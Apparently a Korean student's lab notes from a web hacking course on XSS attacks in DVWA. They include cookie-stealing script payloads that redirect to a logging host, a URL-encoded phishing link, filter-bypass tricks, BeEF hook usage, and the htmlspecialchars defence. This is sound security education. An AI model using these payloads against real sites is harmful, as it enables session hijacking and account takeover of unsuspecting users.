본문 바로가기

화이트 해커가 되기 위한 8가지 웹 해킹 기술

6주차 XXS(크로스사이트스크립팅) 공격

XXS 공격

크로스사이트스크립팅 공격

자바스크립트와 밀접한 관련이 있음

자바스크립트: 웹 어플리케이션을 개발할 때 사용하는 언어

(HTML- 정적, 자바스크립트- 동적)

         

           -> document.cookie로 쿠키를 읽고, document.location로 외부 사이트로 전달 가능

         

           -> src를 이용해 외부의 자바스크립트를 페이지에 삽입해 실행할 수 있음

          스크립트 코드를 취약한 웹 어플리케이션을 통해 사용자에게 전달하여, 클라이언트 쪽 웹브라우저를 공격

          스크립트 코드를 삽입하여 다른 사용자 브라우저에서 실행되도록 함

 

Reflected XSS 공격- 스크립트를 반사하는 공격

                  1. 사용자에게 세션쿠키를 빼내는 스크립트 코드를 심은 이메일 등으로 피싱

                  2. 사용자가 클릭하면 스크립트코드가 삽입된 요청이 웹서버로 전송

                  3. 웹 어플리케이션이 스크립트코드를 그대로 되돌려 줌

                  4. 웹 브라우저는 자동으로 스크립트 코드를 실행해 해커에게 쿠키값을 전송

                  5. 해커가 세션쿠키를 이용하여 사용자 권한으로 접속

Stored XSS 공격- 1. 해커가 서버의 게시판, 방명록과 같은 글을 남김

                2. 스크립트코드를 남기는 것이 허용된다면 해커는 남길 수 있음

                3. 다른 사용자가 방명록에 접속

                4. 글에 저장되어있는 스크립트 코드가 사용자에게 전달되어 자동으로 실행

                5. 웹 브라우저는 자동으로 스크립트 코드를 실행해 해커에게 쿠키값을 전송

                6. 해커가 세션쿠키를 이용하여 사용자 권한으로 접속

 

 

Reflected 실습- 이름을 입력하면 이름을 포함한 문장이 출력되는 기능

               1. 스크립트 태그를 입력해 취약점 파악하기

                 (실행되면 스크립트가 웹 브라우저에서 실행되었다는 뜻)

               2. <script>alert(document.cookie)</script> 입력하면 쿠키 값이 출력

               3. 터미널(해커 호스트) tail -f /opt/lamp/logs/access_log 웹서버의 로그를 출력

                     4. tail -f면 이후에 발생되는 로그가 뒤에 출력됨

               5. <script>document.location=’http://127.0.0.1/ cookie?’ + document.cookie </script>을 입력하면 웹에서는 리다이렉트 되지만, 로그에는 쿠키값이 있음

               6. 쿠키를 이용해서 해당 사용자의 권한으로 웹사이트를 접속할 수 있음

         (피싱) 1. url#전까지를 복사. 메일에 링크를 넣고 name파라미터에 스크립트를 넣음

               2. 지메일의 경우 =, ?, + 등의 특수문자를 ‘url인코딩기법으로 인코딩해줘야 함

                 (url 인코딩은 어떤 문자를 아스키값으로 변환해 %를 붙여 웹 서버로 전달)

               3. 인코딩된 값인 <script>document.location%3D’http://127.0.0.1/cookie?’ %3F’%2 Bdocument.cookie </script>을 링크로 달아줌

               4. 링크를 누르면 쿠키값이 추가된 웹 서버의 로그를 출력해 줌

 

Stored XSS 실습- 스크립트가 서버에 저장되어 나중에 실행되는 방식

                 사용자가 코드를 전송시키지 않고 해커가 직접 서버에 스크립트 코드를 삽입함.

                 페이지를 방문하는 모든 사용자가 공격받을 수 있어서 위험함

                 1. 방명록을 적을 때 숫자 제한이 있는 경우 마우스 오른쪽 클릭- inspect Element 실행. maxlength를 변경할 수 있음

                 2. 방명록에 접속하면 바로 스크립트가 실행되어 쿠키가 해커 호스트로 전송됨

(Setup/Reset DB- 버튼을 누르면 방명록이 리셋됨)

 

BeEF 프레임워크- XXS를 이용하면 세션 탈취말고 다양한 공격이 가능함

웹 브라우저의 취약점을 공격하는데 유용

                처음 실행하면 2번 정도 실행해주어야 함

기본 사용자 아이디 beef, 비밀번호: beef

Online Browser: XXS공격에 당한 클라이언트가 표시

hook.js파일을 이용. 취약점에 삽입하면 beef에서 클라이언트를 조종할 수 있음

beef에 적힌 스크립트를 입력란에 적으면 beef Online Browser에 호스트 생성됨.

 

 실습(medium)- str_replace를 이용해 <script>를 지움

               <SCRIPT>로 대문자로 적으면 방어를 피할 수 있음

               한 번만 지우기 때문에<scr<script>ipt>로 방어를 피할 수 있음

 

대응- htmlspecialchars 함수: 특수문자를 html 엔티티(기능이 사라짐)로 변경하는 함수

      변경이 되면 출력이 되지만 기능이 수행되지는 않음.

       폼에 입력되어야 하는 형식을 철저하게 검사 (인젝션)

 

//칼리리눅스를 종료/재부팅 한 적이 있으면 dvwa 접속이 불가능하다.

/opt/lampp/lampp restart 명령어 터미널에서 실행